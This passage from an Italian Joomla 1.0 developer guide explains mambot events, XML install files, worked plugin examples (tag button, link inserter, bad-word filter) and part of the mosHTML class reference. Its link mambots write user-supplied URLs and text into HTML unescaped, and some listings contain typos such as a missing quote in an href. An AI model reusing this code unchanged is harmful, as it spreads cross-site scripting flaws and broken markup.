Listato 162: Mambot - evento `onSearch`

La parte più importante del codice è la riga 4; `$_MAMBOTs` è una variabile di sistema di Joomla che può essere utilizzata direttamente e che possiede il metodo:

```

1 $_MAMBOTs->registerFunction("event_name", "function_name");

```

che associa la funzione `function_name` all'evento `event_name`. Nell'esempio trattato, la funzione personalizzata `botSearchContacts` viene associata con l'evento `onSearch` e verrà quindi invocata ad ogni verificarsi dell'evento stesso. Più in dettaglio, tutte le funzioni associate all'evento `onSearch` devono avere la forma:

```

1 function function_name(string 'search_text');

```

E devono restituire un array di oggetti i cui campi devono essere i seguenti:

title titolo della singola riga del risultato

created data di creazione del contenuto rappresentato nella riga

section sezione di appartenenza del contenuto rappresentato nella riga

href link del contenuto rappresentato nella riga

browsernav attributo **target** del link; se impostato a 2 si apre nella finestra corrente

Ecco il perchè dei campi, apparentemente insoliti, restituiti dalla query SQL.

16.1.2 Evento onPrepareContent

Il codice seguente realizza un mambot che viene attivato in seguito all'evento **onPrepareContent**, ossia prima di visualizzare i contenuti:

```

1 <?php
2 defined("_VALID_MOS") or die("Restricted access.");
3
4 $_MAMBOTS->registerFunction("onPrepareContent", "botMosLink");
5
6 /*
7  * Funzione che effettua la modifica al testo
8  * Cerca {moslink id="valore_id"} e lo sostituisce con il tag HTML <a>
9  */
10 function botMosLink($published, &$row, $mask=0, $page=0) {
11     if (!$published)
12         return true;
13
14     // definisce l'espressione regolare per riconoscere {moslink id="valore_id"}
15     $regex = '#{moslinks id="(.*?)"}#s';
16
17     // effettua la sostituzione all'interno di $row->text
18     $row->text = preg_replace_callback($regex, 'botMosLink_replacer', $row->text);
19
20     return true;
21 }
22
23 /*
24  * Sostituisce i tag riconosciuti con codice HTML
25  * @param array Un array di occorrenze trovate in $row->text
26  * @return string
27  */
28 function botMosLink_replacer(&$matches) {
29     // recupera il valore del parametro id
30     $id = @$matches[1];
31
32     return '<a href="' . sefRelToAbs('index.php?option=com_content&task=view&id=' . $id) . '"> ←
33         ← Clicca qui</a>';
34 }
35 ?>

```

Listato 163: Mambot - evento onPrepareContent

La struttura è abbastanza simile all'esempio precedente, ma ora le funzioni associate all'evento **onPrepareContent** devono essere nella forma:

```
1 function function_name(int $published, object &$row, int $mask=0, int $page=0);
```

I cui parametri sono:

published vale 1 se il mambot è pubblicato, altrimenti 0; serve nel caso in cui un mambot debba compiere operazioni diverse a seconda che sia pubblicato o meno (come avviene per `mosimage`)

row riferimento al contenuto da modificare

mask maschera corrente; il default è 0

page numero della pagina corrente; il default è 0

16.1.3 Eventi di editor

Gli eventi di editor comprendono `onInitEditor`, `onGetEditorContents` e `onEditorArea` e servono per gestire l'utilizzo di un editor testuale per la scrittura dei contenuti.

Gestire questi eventi è una pratica abbastanza complessa, pertanto si cercherà di fare chiarezza utilizzando come esempio il mambot di sistema che gestisce il testo senza editor:

```

1  $_MAMBOTS->registerFunction('onInitEditor', 'botNoEditorInit');
2  $_MAMBOTS->registerFunction('onGetEditorContents', 'botNoEditorGetContents');
3  $_MAMBOTS->registerFunction('onEditorArea', 'botNoEditorEditorArea');
4
5  /*
6   * Nessun editor WYSIWYG – inizializzazione javascript
7   */
8  function botNoEditorInit() {
9      return <<<EOD
10 <script type="text/javascript">
11 function insertAtCursor(myField, myValue) {
12     if (document.selection) {
13         // IE support
14         myField.focus();
15         sel = document.selection.createRange();
16         sel.text = myValue;
17     } else if (myField.selectionStart || myField.selectionStart == '0') {
18         // MOZILLA/NETSCAPE support
19         var startPos = myField.selectionStart;
20         var endPos = myField.selectionEnd;
21         myField.value = myField.value.substring(0, startPos)
22         + myValue
23         + myField.value.substring(endPos, myField.value.length);
24     } else {
25         myField.value += myValue;
26     }
27 }
28 </script>
29 EOD;
30 }
31
32 /*
33 * Nessun editor WYSIWYG – copia il contenuto dell'editor nel campo del form
34 * @param string Nome dell'area dell'editor
35 * @param string Nome del campo del form
36 */
37 function botNoEditorGetContents($editorArea, $hiddenField) {
38     return <<<EOD
39 EOD;

```

```

40 }
41
42 /*
43 * Nessun editor WYSIWYG – visualizza l'editor
44 * @param string Nome dell'area dell'editor
45 * @param string Contenuto del campo
46 * @param string Nome del campo del form
47 * @param string Larghezza dell'area dell'editor
48 * @param string Altezza dell'area dell'editor
49 * @param int Colonne dell'area dell'editor
50 * @param int Righe dell'area dell'editor
51 */
52 function botNoEditorEditorArea($name, $content, $hiddenField, $width, $height, $col, $row) {
53     global $mosConfig_live_site, $_MAMBOTS;
54
55     $results = $_MAMBOTS->trigger( 'onCustomEditorButton' );
56     $buttons = array();
57     foreach ($results as $result) {
58         $buttons[] = '';
59     }
60     $buttons = implode( " ", $buttons );
61
62     return <<<EOD
63 <textarea name="$hiddenField" id="$hiddenField" cols="$col" rows="$row" style="width:$width; ←
        ← height:$height;">$content</textarea>
64 <br />$buttons
65 EOD;
66 }

```

Listato 164: Mambot - eventi di editor

L'evento `onInitEditor` viene di solito richiamato all'interno dell'intestazione del template (vedi sezione 4.6):

```

1 if ( $my->id ) {
2     initEditor();
3 }

```

Tutto il codice JavaScript necessario al suo funzionamento, va inserito in questa funzione.

L'evento `onGetEditorContents` permette al contenuto dell'editor di essere trasferito al componente del form per la memorizzazione.

L'evento `onEditorArea` visualizza l'area dell'editor.

16.1.4 Mambot e parametri

Analogamente a quanto avviene nei moduli, anche i mambot possono avere dei parametri, che vengono creati dal file XML di installazione come già visto nella sezione 3.1, anche se il loro utilizzo è leggermente differente:

```

1 function botTinyMceEditorInit() {
2     global $mosConfig_live_site, $database;
3
4     // la query viene preparata ed eseguita
5     $query = "SELECT id FROM #__mambots WHERE element = 'tinymce' AND folder = 'editors'";
6     $database->setQuery($query);

```

```

7   $id = $database->loadResult();
8
9   // vengono recuperati tutti i parametri del mambot
10  $mambot = new mosMambot($database);
11  $mambot->load($id);
12  $mambotParams =& new mosParameters($mambot->params);
13
14  // il parametro "theme" viene utilizzato
15  $theme = $mambotParams->get('theme', 'basic');
16
17  ...
18  }

```

16.2 File di installazione

Anche i mambot necessitano del file XML di installazione, i cui elementi sono analoghi a moduli e componenti. Vediamo un ipotetico file di installazione per analizzare le piccole differenze:

```

1  <?xml version="1.0" encoding="iso-8859-1"?>
2  <mosinstall type="mambot" group="content" version="1.0">
3    <name>Nome del mambot</name>
4    <creationDate>11/07/2006</creationDate>
5    <author>Mario Rossi</author>
6    <copyright>Note di copyright</copyright>
7    <license>Riferimento alla licenza</license>
8    <authorEmail>mario.rossi@dominio.it</authorEmail>
9    <authorUrl>www.dominio.it</authorUrl>
10   <version>1.0</version>
11   <description>Modulo per visualizzare ...</description>
12   <files>
13     <filename mambot="mosNOMEBOT">mosNOMEBOT.php</filename>
14   </files>
15 </mosinstall>

```

Il tag `<mosinstall>` ha un attributo addizionale chiamato `group`, che serve a stabilire il gruppo di appartenenza del mambot (vedi sezione 15).

Deve esserci un solo tag `<filename>` che possiede l'attributo `mambot` e che indica il nome del file che viene invocato da Joomla in seguito al verificarsi di un evento.

Nel caso in cui siano necessari dei parametri per il mambot, andranno aggiunti i tag `<params>` e `<param>` come già illustrato in precedenza.

17 Esempi pratici

Vediamo ora alcuni mambot di esempio, realizzati appositamente per comprendere i dettagli del loro sviluppo.

Tutti gli esempi sono formati dal file PHP del codice e dal file XML di installazione; sarà sufficiente creare l'archivio ZIP ed installarli dal menu *Installazioni* → *Mambot* del backend. Al termine dell'installazione i mambot saranno disponibili nel menu *Mambot* → *Mambot sito*.

Si raccomanda di non modificare i nomi dei file e di mantenere quelli proposti negli esempi; il nome dell'archivio ZIP può essere scelto a piacere, ma si consiglia di sceglierne uno che riporti almeno il nome e la versione del modulo.

17.1 Inserimento tag

Questo esempio realizza un mambot di estensione dell'editor (ossia del gruppo `editors-xtd`), che visualizza un'icona in fondo all'editor per inserire un qualche tag definito nel codice. Oltre al file del codice è presente anche l'immagine personalizzata dell'icona. Il nome del mambot è `mosCustomTag`.

File PHP - `mosCustomTag.php`

```

1 <?php
2 defined("_VALID_MOS") or die("Restricted access.");
3
4 // associazione della funzione all'evento
5 $MAMBOTS->registerFunction('onCustomEditorButton', 'botCustomTag');
6
7 /*
8  * Creazione del pulsante per inserire il tag personalizzato
9  * Deve restituire un array di 2 elementi: imageName e textToInsert
10 * @return array un array di 2 elementi: imageName e textToInsert
11 */
12 function botCustomTag() {
13     // il contenuto del tag viene inserito successivamente dall'utente.
14     // sarà compito di un tag di contenuto convertire questo tag in codice HTML
15     return array('mosCustomTag.gif', '{insurl}URL|TITOLO{/insurl}');
16 }
17 ?>

```

Listato 165: `mosCustomTag.php`

File XML - `mosCustomTag.xml`

```

1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall version="1" type="mambot" group="editors-xtd">
3     <name>Bottone editor tag personalizzato</name>
4     <author>Luca Azzano</author>
5     <creationDate>02/08/2006</creationDate>
6     <copyright>This component in released under the GNU/GPL License.</copyright>
7     <authorEmail>info@lucazone.net</authorEmail>
8     <authorUrl>http://www.lucazone.net</authorUrl>
9     <version>1.0</version>
10    <description>Crea un pulsante per inserire un tag personalizzato.</description>
11    <files >
12        <filename mambot="mosCustomTag">mosCustomTag.php</filename>
13        <filename>mosCustomTag.gif</filename>
14    </files >
15 </mosinstall>

```

Listato 166: `mosCustomTag.xml`

17.2 Inserimento link

Questo esempio realizza un mambot di contenuto (ossia del gruppo `content`) che converte un tag personalizzato (eventualmente creato con l'esempio precedente) in un link HTML valido. Entrando nel dettaglio di funzionamento, inserendo nell'editor il tag:

```
1 {insurl}http://www.lucazone.net|sito di lucazone{/insurl}
```

il mambot lo converte nel codice HTML:

```
1 <a href="http://www.lucazone.net">sito di lucazone</a>
```

Il nome del mambot è `mosInsertLink`.

File PHP - `mosInsertLink.php`

```
1 <?php
2 defined('_VALID_MOS') or die("Restricted access.");
3
4 $MAMBOT->registerFunction('onPrepareContent', 'botinsurl');
5
6 // Funzione che effettua la conversione del tag in codice HTML
7 function botinsurl($published, &$row, &$params, $page=0) {
8     // definisce l'espressione regolare per il bot
9     $regex = "#{insurl}(.*?){/insurl}#s";
10
11     // se il mambot non è pubblicato, il tag viene completamente rimosso dal testo
12     if (!$published) {
13         $row->text = preg_replace($regex, '', $row->text);
14         return true;
15     }
16
17     // viene effettuata la sostituzione del tag, invocando una funzione
18     // di callback che effettuerà materialmente la sostituzione
19     $row->text = preg_replace_callback($regex, 'botinsurl_replacer', $row->text);
20
21     return true;
22 }
23
24 /*
25 * Sostituisce materialmente i tag riconosciuti, con codice HTML
26 * @param array Un array di occorrenze
27 * @return string
28 */
29 function botinsurl_replacer (&$matches) {
30     // estrapola il contenuto del tag in due pezzi
31     // si ricorda che il tag è nella forma SITO|TESTO
32     $thisParams = explode("|", $matches[1]);
33
34     // controllo che il tag sia well-formed, ossia che ci siano entrambi i parametri: sito e testo
35     if (sizeof($thisParams) != 2)
36         return "Sono necessari 2 parametri, separati da \"|\": " .
```

```

37         "{insurl}http://www.lucazone.net|sito di lucazone{/insurl}";
38
39         // viene effettuata la sostituzione
40         $path = $thisParams[0];
41         $thisnameurl = $thisParams[1];
42         $text = '<a href="' . $path . '>' . $thisnameurl . '</a>';
43
44         return $text;
45     }
46     ?>

```

Listato 167: mosInsertLink.php

File XML - mosInsertLink.xml

```

1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall version="1.0" type="mambot" group="content">
3     <name>Inserimento link</name>
4     <author>Luca Azzano</author>
5     <creationDate>Agosto 2006</creationDate>
6     <copyright>(C) LucaZone.net</copyright>
7     <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8     <authorEmail>info@lucazone.net</authorEmail>
9     <authorUrl>http://www.lucazone.net</authorUrl>
10    <version>1.0</version>
11    <description>Mambot per inserire link, ad es. {insurl}http://www.lucazone.net|sito di lucazone ←
12        ↪ {/insurl}</description>
13    <files>
14        <filename mambot="mosInsertLink">mosInsertLink.php</filename>
15    </files>
</mosinstall>

```

Listato 168: mosInsertLink.xml

17.3 Inserimento link - parametri

Il mambot di questo esempio è il medesimo del caso precedente, ma vengono aggiunti due parametri, per stabilire il target del link HTML e se visualizzare il titolo del link. Il nome del mambot è `mosInsertLink2`.

File PHP - mosInsertLink2.php

```

1 <?php
2 defined('_VALID_MOS') or die("Restricted access.");
3
4 $MAMBOTS->registerFunction('onPrepareContent', 'botinsurl');
5
6 /*
7  * Funzione che effettua la conversione del tag in codice HTML
8  */

```

```

9  function botinsurl($published, &$row, &$params, $page=0) {
10     global $mosConfig_absolute_path;
11
12     // definisce l'espressione regolare per il bot
13     $regex = "#{insurl}(.*?)[/insurl]#s";
14
15     // se il mambot non è pubblicato, il tag viene completamente rimosso dal testo
16     if (!$published) {
17         $row->text = preg_replace($regex, '', $row->text);
18         return true;
19     }
20
21     // viene effettuata la sostituzione del tag, invocando una funzione
22     // di callback che effettuerà materialmente la sostituzione
23     $row->text = preg_replace_callback($regex, 'botinsurl_replacer', $row->text);
24
25     return true;
26 }
27
28 /*
29  * Sostituisce materialmente i tag riconosciuti, con codice HTML
30  * @param array Un array di occorrenze
31  * @return string
32  */
33 function botinsurl_replacer (&$matches) {
34     global $database;
35
36     // estrapola il contenuto del tag in due pezzi.
37     // si ricorda che il tag è nella forma SITO|TESTO
38     $thisParams = explode("|", $matches[1]);
39
40     // controllo che il tag sia well-formed, ossia che ci siano entrambi i parametri: sito e testo
41     if(sizeof($thisParams) != 2)
42         return "Sono necessari 2 parametri, separati da \"|\": ".
43             "{insurl}http://www.lucazone.net|sito di lucazone{/insurl}";
44
45     // vengono recuperati i parametri del mambot
46     // come prima cosa viene recuperato l'ID del mambot corrente
47     $query = "SELECT id " .
48         "FROM #__mambots " .
49         "WHERE element = 'mosInsertLink2' " .
50         "AND folder = 'content'";
51     $database->setQuery($query);
52     $id = $database->loadResult();
53
54     // l'ID ottenuto viene utilizzato per ricavare l'elenco dei parametri
55     $mambot = new mosMambot($database);
56     $mambot->load($id);
57     $mambotParams =& new mosParameters($mambot->params);
58
59     // i parametri vengono ricavati e memorizzati nelle variabili
60     $target = $mambotParams->get('target', '_blank');
61     $title = $mambotParams->get('title', '1');

```

```

62 // viene effettuata la sostituzione
63 $path = $thisParams[0];
64 $thisnameurl = $thisParams[1];
65 $text = '<a href="' . $path . '" target="' . $target . '"';
66 if( $title )
67     $text .= ' title="' . $thisnameurl . '"';
68 $text .= '>' . $thisnameurl . '</a>';
69
70
71 return $text;
72 }
73 ?>

```

Listato 169: mosInsertLink2.php

File XML - mosInsertLink2.xml

```

1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall version="1.0" type="mambot" group="content">
3     <name>Inserimento link</name>
4     <author>Luca Azzano</author>
5     <creationDate>Agosto 2006</creationDate>
6     <copyright>(C) LucaZone.net</copyright>
7     <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8     <authorEmail>info@lucazone.net</authorEmail>
9     <authorUrl>http://www.lucazone.net</authorUrl>
10    <version>1.0</version>
11    <description>Mambot per inserire link, ad es.: {insurl}http://www.lucazone.net|sito di ↩
12        ↩ lucazone{/insurl}</description>
13    <files>
14        <filename mambot="mosInsertLink2">mosInsertLink2.php</filename>
15    </files>
16    <params>
17        <param name="target" type="list" default="_blank" label="Target" description=" ↩
18            ↩ Selezionare dove deve essere aperto il link">
19            <option value="_blank">Nuova finestra (_blank)</option>
20            <option value="_self">Stessa finestra (_self)</option>
21            <option value="_parent">Finestra parent (_parent)</option>
22            <option value="_top">finestra top (sovrascrive i frame)</option>
23        </param>
24        <param name="title" type="radio" default="1" label="Titolo" description="Si ↩
25            ↩ desidera visualizzare un titolo per il link?">
26            <option value="0">No</option>
27            <option value="1">Sì</option>
28        </param>
29    </params>
30 </mosinstall>

```

Listato 170: mosInsertLink2.xml

17.4 Filtro parolacce

Questo esempio realizza un mambot di contenuto (ossia del gruppo `content`) che filtra le parolacce inserite nei contenuti.

Ricorda molto i filtri usati nei forum: ogni volta che viene trovata una parolaccia, questa viene sostituita da un testo personalizzato.

Entrando nel dettaglio di funzionamento, il mambot verrà configurato con un insieme di coppie separate da virgola. Ciascuna coppia rappresenta la parolaccia ed il testo sostitutivo, separati da una barra verticale. Ad esempio, una possibile configurazione potrebbe essere:

```
1 scemo|xxxxx,cretino|yyyyy,ignorante|zzzzz
```

Con questa configurazione, se in un contenuto venisse scritto:

```
1 Ho visto quel cretino di Pippo che mi ha dato dello scemo!
```

sarebbe sostituito da:

```
1 Ho visto quel yyyyy di Pippo che mi ha dato dello xxxxx!
```

Il nome del mambot è `mosBadWord`.

File PHP - `mosBadWord.php`

```
1 <?php
2 defined("_VALID_MOS") or die("Restricted access.");
3
4 $MAMBOTS->registerFunction("onPrepareContent", "botBadWord");
5
6 /* Funzione che effettua il filtro delle parolacce */
7 function botBadWord($published, &$row, &$params, $page=0) {
8     global $database;
9
10    // se il mambot non è pubblicato, non viene effettuato il filtro
11    if (!$published)
12        return true;
13
14    // vengono recuperati i parametri del mambot
15    // come prima cosa viene recuperato l'ID del mambot corrente
16    $query = "SELECT id FROM #__mambots WHERE element = 'mosBadWord' AND folder = ' ↵
17        ↵ content'";
18    $database->setQuery($query);
19    $id = $database->loadResult();
20    // l'ID ottenuto viene utilizzato per ricavare l'elenco dei parametri
21    $mambot = new mosMambot($database);
22    $mambot->load($id);
23    $mambotParams = & new mosParameters($mambot->params);
24
25    // viene recuperato il parametro contenente TUTTE le parolacce
26    $filter = trim($mambotParams->get("filter", ""));
27    if( $filter == "" )
28        return true;
```

```

28
29 // si ricavano le coppie parolaccia| testo
30 $coppie = explode(",", $filter);
31
32 foreach($coppie as $coppia){
33     // si ricava la parolaccia ed il testo sostitutivo , dopo aver rimosso gli spazi bianchi
34     list($badword, $newword) = explode("|", $coppia);
35     $badword = trim($badword);
36     $newword = trim($newword);
37
38     // espressione regolare per estrapolare le parolacce
39     // la regexp è del tipo ^bPAROLA\b/i che ricerca la singola
40     // parola anche se si trova alle estremità della frase, in modalità case insensitive
41     $regexp = "/\b" . $badword . "\b/i";
42
43     // la riga di testo viene analizzata e ad ogni occorrenza di parolaccia trovata,
44     // viene sostituito il testo scelto; la stringa depurata viene restituita e
45     // memorizzata nella riga di testo stessa, che è passata per riferimento
46     $row->text = preg_replace($regexp, $newword, $row->text);
47 }
48
49 return true;
50 }

```

Listato 171: mosBadWord.php

File XML - mosBadWord.xml

```

1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall type="mambot" group="content" version="1.0" >
3   <name>Filtro parolacce</name>
4   <creationDate>Agosto 2006</creationDate>
5   <author>Marco Napolitano</author>
6   <copyright>(C) 2006, Marco Napolitano. All rights reserved.</copyright>
7   <license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Mambot che filtra le parolacce trovate nei contenuti, sostituendole con testo
12     ↳ personalizzato. Il filtro è formato da coppie separate da virgola; ogni coppia è
13     ↳ formata dalla parolaccia e dal testo sostitutivo, separate da una barra verticale |.
14     ↳ Esempio: scemo|xxxxx,cretino|yyyyy,ignorante|zzzzz</description>
15  <files >
16    <filename mambot="mosBadWord">mosBadWord.php</filename>
17  </files >
18  <params>
19    <param name="filter" type="textarea" default="" rows="10" cols="40" label="
20     ↳ Filtro" description="Elenco delle parolacce da filtrare" />
21  </params>
22 </mosinstall>

```

Listato 172: mosBadWord.xml

Parte Quinta

Appendici

A Classe mosHTML

La classe `mosHTML` è stata sviluppata per permettere la visualizzazione (il termine usato dalla classe è *render*) dell'elemento HTML di un form (`<select>`, `<textarea>`, ...).

Viene utilizzata internamente per renderizzare i parametri³⁰ dei moduli e dei mambot, ma può essere usata esplicitamente dall'utente per creare parametri personalizzati oppure form di configurazione di un componente.

E' costituita da numerosi metodi, ciascuno dei quali responsabile della creazione di un elemento HTML. Tutti i metodi che verranno presentati hanno la particolarità di essere *statici* e come tali non richiedono di istanziare un oggetto di classe `mosHTML`, ma vengono invocati direttamente con `mosHTML::nomeMetodo()`.

Si fa notare che tale classe potrebbe essere completamente sostituita nella nuova versione di Joomla 1.5, pertanto le informazioni che verranno ora fornite potrebbero essere limitate alla sola versione 1.0.

A.1 Metodo BackButton()

Visualizza un pulsante *Indietro*, compatibilmente con l'impostazione globale di Joomla *Bottone indietro*; il testo del pulsante viene prelevato dalla lingua corrente ed il bottone viene associato allo stile CSS `back_button`. La sintassi è la seguente:

```
1 void BackButton(object &$params [, boolean $hide_js=null]);
```

Listato 173: Sintassi `mosHTML::BackButton`

I cui parametri sono:

`$params` è un oggetto di classe `mosParameters`. Se `$params->get("back_button")` restituisce `false`, non verrà prodotto alcun output (se Joomla è configurato per non visualizzare il bottone è inutile farlo); se `$params->get("popup")` restituisce `true`, non verrà prodotto alcun output (sostanzialmente se la finestra corrente è un popup, il bottone non serve)

³⁰vedi sezione 3.1

`$hide_js` è un flag. Se il suo valore è `true` non verrà prodotto alcun output; il parametro è opzionale ed il suo valore di default è `null`

Vediamo un esempio di creazione di un pulsante *Indietro*, che utilizza l'impostazione globale di sistema `getCfg("back_button")` (vedi sezione 2.1.3) per stabilire se il pulsante deve essere visualizzato oppure no:

```

1 // si crea un nuovo parametro vuoto
2 $params = & new mosParameters("");
3
4 // vengono verificati ed eventualmente impostati i 2 parametri "back_button" e "popup"
5 $params->def("back_button", $mainframe->getCfg("back_button"));
6 $params->def("popup", false);
7
8 // il pulsante viene visualizzato nella pagina, se necessario
9 mosHTML::BackButton($params);

```

A.2 Metodo CloseButton()

Visualizza un pulsante *Chiudi* per i popup; il testo del pulsante viene prelevato dalla lingua corrente. La sintassi è la seguente:

```

1 void CloseButton(object &$params [, boolean $hide_js=null]);

```

Listato 174: Sintassi `mosHTML::CloseButton`

I cui parametri sono:

`$params` è un oggetto di classe `mosParameters`. Se `$params->get("popup")` restituisce `false`, non verrà prodotto alcun output (sostanzialmente se la finestra corrente non è un popup, il bottone non serve)

`$hide_js` è un flag. Se il suo valore è `true` non verrà prodotto alcun output; il parametro è opzionale ed il suo valore di default è `null`

Vediamo un esempio di creazione di un pulsante *Chiudi*:

```

1 // si crea un nuovo parametro vuoto
2 $params = & new mosParameters("");
3
4 // viene verificato ed eventualmente impostato il parametro "popup"
5 $params->def("popup", true);
6
7 // il pulsante viene visualizzato nella pagina, se necessario
8 mosHTML::CloseButton($params);

```

A.3 Metodo emailCloaking()

Serve per mascherare un indirizzo email e proteggerlo dagli spambot. Restituisce codice JavaScript che sostituisce l'indirizzo con un link *mailto* mascherato. La sintassi è la seguente:


```
1 string emailCloaking(string $mail [, boolean $mailto=true [, string $text="" [, boolean $email ↵
    ↵ =true]]]);
```

Listato 175: Sintassi `mosHTML::emailCloaking`

I cui parametri sono:

`$mail` indirizzo email da mascherare

`$mailto` se vale `true` viene creato un link *mailto* cliccabile; altrimenti l'indirizzo viene visualizzato senza link. E' opzionale ed il default è `true`

`$text` è il testo da visualizzare al posto dell'indirizzo; se vuoto oppure omesso viene visualizzato l'indirizzo `$mail`

`$email` se `true` indica che il parametro `$text` è anch'esso un indirizzo email e vengono così prese ulteriori precauzioni; altrimenti `$text` viene considerato semplice testo. E' opzionale ed il default è `true`

Vediamo un primo esempio molto semplice, senza l'uso di alcun parametro:

```
1 $address = "mario.rossi@dominio.it";
2
3 echo mosHTML::emailCloaking($address);
```

che produce il seguente output HTML:

```
1 <script language='JavaScript' type='text/javascript'>
2 <!--
3 var prefix = '&#109;a' + 'i&#108;' + '&#116;o';
4 var path = 'hr' + 'ef' + '=';
5 var addy17476 = 'mario.rossi' + '&#64;';
6 addy17476 = addy17476 + 'dominio' + '&#46;' + 'it';
7
8 document.write('<a ' + path + '\'' + prefix + ':' + addy17476 + '\>');
9 document.write(addy17476);
10 document.write('</a>');
11 //-->
12 </script>
```

In questo secondo esempio, il testo visualizzato sarà Mario Rossi:

```
1 $address = "mario.rossi@dominio.it";
2 $text = "Mario Rossi";
3
4 echo mosHTML::emailCloaking($address, true, $text, false);
```

che produce il seguente output HTML:

```
1 <script language='JavaScript' type='text/javascript'>
2 <!--
3 var prefix = '&#109;a' + 'i&#108;' + '&#116;o';
4 var path = 'hr' + 'ef' + '=';
5 var addy17476 = 'mario.rossi' + '&#64;';
```

```

6 addy17476 = addy17476 + 'dominio' + '&#46;' + 'it';
7 var addy_text17476 = 'Mario Rossi';
8
9 document.write('<a ' + path + '\'' + prefix + ':' + addy17476 + '\>');
10 document.write(addy_text17476);
11 document.write('<\a>');
12 //-->
13 </script>

```

A.4 Metodo `idBox()`

Visualizza una casella di spunta, di tipo `checkbox`, per selezionare le varie voci di un elenco. La sintassi è la seguente:

```

1 string idBox(integer $rowNum, integer $recId [, boolean $checkedOut=false [, string $name=" ←
   ← cid"]]);

```

Listato 176: Sintassi `mosHTML::idBox`

I cui parametri sono:

`$rowNum` indice della riga nella tabella HTML

`$recId` valore di chiave del record visualizzato nella riga

`$checkedOut` se `true` viene restituita una stringa vuota. E' opzionale ed il default è `false`

`$name` nome del componente HTML per recuperare il valore. E' opzionale ed il default è `cid`

Vediamo un esempio in cui vengono visualizzati i record ottenuti da una query SQL, ciascuno con la relativa `checkbox`:

```

1 // $rows è ricavato dalla query SQL
2 $database->setQuery("SELECT ...");
3 $rows = loadObjectList();
4
5 for($i = 0; $i < count($rows); $i++) {
6     $row = $rows[$i];
7     ?>
8     <tr>
9         <td width="20">
10            <?php echo mosHTML::idBox($i, $row->id); ?>
11        </td>
12        <td>
13            <?php echo $row->title; ?>
14        </td>
15    </tr>
16    <?php
17 }

```

A.5 Metodo `integerSelectList()`

Il metodo visualizza una casella combinata (`<select>`) di numeri interi. La sintassi è la seguente:

```
1 string integerSelectList(int $start, int $end, int $inc, string $tag_name, string $tag_attrbs, ↵
    ↵ mixed $selected [, string $format=""]);
```

Listato 177: Sintassi `mosHTML::integerSelectList`

I cui parametri sono:

`$start` primo numero della lista

`$end` ultimo numero della lista

`$inc` valore di incremento tra i numeri

`$tag_name` nome del componente HTML `<select>`, usato per recuperare il valore

`$tag_attrbs` stringa contenente attributi aggiuntivi per l'elemento HTML

`$selected` stringa che rappresenta il valore selezionato di default; in caso di multiselezione, è un array

`$format` formato con cui visualizzare i numeri interi, conforme alla funzione `printf`. E' opzionale ed il default è "" ossia nessun formato particolare

Vediamo un esempio semplice:

```
1 $html = mosHTML::integerSelectList(1, 10, 1, "intList", "size='1' class='inputbox'", 2, " ↵
    ↵ "%02d");
2 echo $html;
```

che produce il codice HTML:

```
1 <select name="intList" size='1' class='inputbox'>
2   <option value="01">01</option>
3   <option value="02" selected>02</option>
4   <option value="03">03</option>
5   <option value="04">04</option>
6   <option value="05">05</option>
7   <option value="06">06</option>
8   <option value="07">07</option>
9   <option value="08">08</option>
10  <option value="09">09</option>
11  <option value="10">10</option>
12 </select>
```

A.6 Metodo `makeOption()`

Metodo che restituisce un oggetto rappresentante un'opzione di una casella combinata (ossia quello che diventerà un tag HTML `<option>`). Tale oggetto può essere inserito in un array e passato ad un metodo di gestione delle liste, come ad esempio `selectList()` (vedi sezione A.10). La sintassi è la seguente:

```
1 object makeOption(string $value [, string $text="" [, string $value_name="value" [, string ↵
    ↵ $text_name="text"]]]);
```

Listato 178: Sintassi `mosHTML::makeOption`

I cui parametri sono:

`$value` valore da usare per il tag `<option>`

`$text` testo da usare per il tag `<option>`; se omissso viene utilizzato `$value` come testo

`$value_name` nome della variabile di classe per l'attributo `value`; se omissso vale "value"

`$text_name` nome della variabile di classe per l'attributo `text`; se omissso vale "text"

Il metodo restituisce un oggetto `stdClass` con due variabili di classe chiamate `value` e `text`. I parametri `value_name` e `text_name` servono proprio a modificare il nome di queste due variabili. Vediamo un esempio di creazione di una semplice lista, le cui opzioni sono fissate nel codice:

```
1 // valore e testo delle opzioni sono lo stesso valore
2 $lista1 = array();
3 $lista1 [] = mosHTML::makeOption("Rosso");
4 $lista1 [] = mosHTML::makeOption("Bianco");
5 $lista1 [] = mosHTML::makeOption("Verde");
6
7 // valore e testo delle opzioni sono specificate
8 $lista2 = array();
9 $lista2 [] = mosHTML::makeOption("0", "- Scegli un colore -");
10 $lista2 [] = mosHTML::makeOption("1", "Rosso");
11 $lista2 [] = mosHTML::makeOption("2", "Bianco");
12 $lista2 [] = mosHTML::makeOption("3", "Verde");
```

Vediamo un altro esempio di lista, ma questa volta gli elementi sono prelevati dal database:

```
1 $utenti = array();
2 // i nomi delle variabili di classe sono value e text, il default
3 $utenti [] = mosHTML::makeOption("0", "- Selezione utente -");
4
5 // i nomi delle variabili di classe sono value e text, impostate dalla query
6 $database->setQuery("SELECT id AS value, username AS text FROM #__users");
7 $utenti = array_merge($utenti, $database->loadObjectList());
```

A.7 Metodo `monthSelectList()`

Metodo che produce una casella combinata con i nomi dei 12 mesi dell'anno (in ordine cronologico); i nomi sono prelevati dalla lingua corrente. La sintassi è la seguente:

```
1 string monthSelectList(string $tag_name, string $tag_attrbs, mixed $selected);
```

Listato 179: Sintassi `mosHTML::monthSelectList`

I cui parametri sono:

`$tag_name` nome del componente HTML `<select>`, usato per recuperare il valore

`$tag_attribs` stringa contenente attributi aggiuntivi per l'elemento HTML

`$selected` stringa che rappresenta il valore selezionato di default; in caso di multiselezione, è un array

I valori restituiti dall'elemento `<select>` sono il numero del mese selezionato con lo zero davanti, da "01" a "12".

Vediamo un semplice esempio:

```
1 $html = mosHTML::monthSelectList('mese', 'class="inputbox"', '03');
2 echo $html;
```

che produce il codice HTML:

```
1 <select name="mese" class="inputbox">
2   <option value="01">Gennaio</option>
3   <option value="02">Febbraio</option>
4   <option value="03" selected>Marzo</option>
5   <option value="04">Aprile</option>
6   <option value="05">Maggio</option>
7   <option value="06">Giugno</option>
8   <option value="07">Luglio</option>
9   <option value="08">Agosto</option>
